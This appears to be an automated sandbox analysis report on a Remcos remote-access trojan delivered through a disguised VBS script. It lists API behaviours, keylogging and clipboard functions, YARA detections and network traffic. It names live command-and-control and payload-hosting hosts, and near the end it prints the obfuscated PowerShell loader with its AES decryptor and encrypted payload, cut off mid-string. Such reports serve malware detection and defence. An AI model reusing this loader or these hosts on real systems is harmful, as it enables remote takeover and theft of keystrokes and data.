Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: H:\New Private Panell Src 3.0 New\New Private Panell Src 3.0 2025\New Private Panell Src 3.0\dnlib-fuscator-master win7\src\obj\Debug\dnlib.pdb source: powershell.exe, 00000002.00000002.1364665086.000002463BCE0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	4_2_00409253
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	4_2_0041C291
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	4_2_0040C34D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	4_2_00409665
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0044E879 FindFirstFileExA,	4_2_0044E879
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	4_2_0040880C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040783C FindFirstFileW,FindNextFileW,	4_2_0040783C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,	4_2_00419AF5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	4_2_0040BB30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	4_2_0040BD37

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

4_2_00407C97

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe	Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 2024remcmon.duckdns.org

Uses dynamic DNS services

Source: unknown

DNS query: name: 2024remcmon.duckdns.org

Source: createactiveimagesbeautygirlfrnd.gIF.vbs	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport><force/></analyze_input> - obfuscation quality: 4
Source: createactiveimagesbeautygirlfrnd.gIF.vbs	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport></analyze_input> - obfuscation quality: 4

Source: global traffic	HTTP traffic detected: GET /Upload/vbs.jpeg HTTP/1.1Host: 198.46.176.133Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xampp/glo/KBV.txt HTTP/1.1Host: 192.3.176.154Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 192.210.214.9 192.210.214.9
Source: Joe Sandbox View	IP Address: 198.46.176.133 198.46.176.133

Source: Joe Sandbox View

ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0041B380 InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

4_2_0041B380

Source: global traffic	HTTP traffic detected: GET /Upload/vbs.jpeg HTTP/1.1Host: 198.46.176.133Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xampp/glo/KBV.txt HTTP/1.1Host: 192.3.176.154Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: 2024remcmon.duckdns.org
Source: global traffic	DNS traffic detected: DNS query: geoplugin.net

Source: powershell.exe, 00000002.00000002.1264396222.0000024623A4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.154
Source: powershell.exe, 00000002.00000002.1264396222.0000024623A4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.154/xampp/glo/KBV.txt
Source: powershell.exe, 00000002.00000002.1264396222.00000246237E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.46.176.133
Source: powershell.exe, 00000002.00000002.1264396222.00000246237E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1363407451.000002463B8A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.176.133/Upload/vbs.jpeg
Source: RegAsm.exe, 00000004.00000002.2488829216.000000000129E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/
Source: RegAsm.exe, RegAsm.exe, 00000004.00000002.2488829216.00000000012A3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.2488829216.000000000122B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.2488829216.000000000126C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp
Source: powershell.exe, 00000002.00000002.1328673356.00000246335CF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.00000246343D8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.2484502723.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp/C
Source: RegAsm.exe, 00000004.00000002.2488829216.000000000122B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpSystem32
Source: RegAsm.exe, 00000004.00000002.2488829216.000000000126C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpl
Source: RegAsm.exe, 00000004.00000002.2488829216.000000000126C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpw
Source: powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.1264396222.00000246237E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: wscript.exe, 00000000.00000003.1207989484.000001C7DAF7D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1208263755.000001C7DAF85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.m0L
Source: powershell.exe, 00000002.00000002.1264396222.00000246235C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.1264396222.00000246237E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.1264396222.00000246235C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000002.00000002.1264396222.00000246237E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0040A2B8 SetWindowsHookExA 0000000D,0040A2A4,00000000

4_2_0040A2B8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,

4_2_0040B70E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_004168C1 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

4_2_004168C1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,

4_2_0040B70E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0040A3E0 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,

4_2_0040A3E0

E-Banking Fraud

Contains functionalty to change the wallpaper

Source: Yara match	File source: 4.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.powershell.exe.246346ad908.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.powershell.exe.246346ad908.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1328673356.00000246335CF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2488829216.000000000122B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2484502723.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1328673356.00000246343D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3092, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6048, type: MEMORYSTR

Spam, unwanted Advertisements and Ransom Demands

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0041C9E2 SystemParametersInfoW,

4_2_0041C9E2

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 4.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 4.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 2.2.powershell.exe.246346ad908.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 2.2.powershell.exe.246346ad908.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 2.2.powershell.exe.246346ad908.1.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 2.2.powershell.exe.246346ad908.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 2.2.powershell.exe.246346ad908.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 2.2.powershell.exe.246346ad908.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 4.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 4.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 4.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000002.00000002.1328673356.00000246335CF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000004.00000002.2484502723.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000004.00000002.2484502723.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000004.00000002.2484502723.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000002.00000002.1328673356.00000246343D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 3092, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 3092, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: RegAsm.exe PID: 6048, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown

Very long command line found

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 3116
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 3116			Jump to behavior

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6O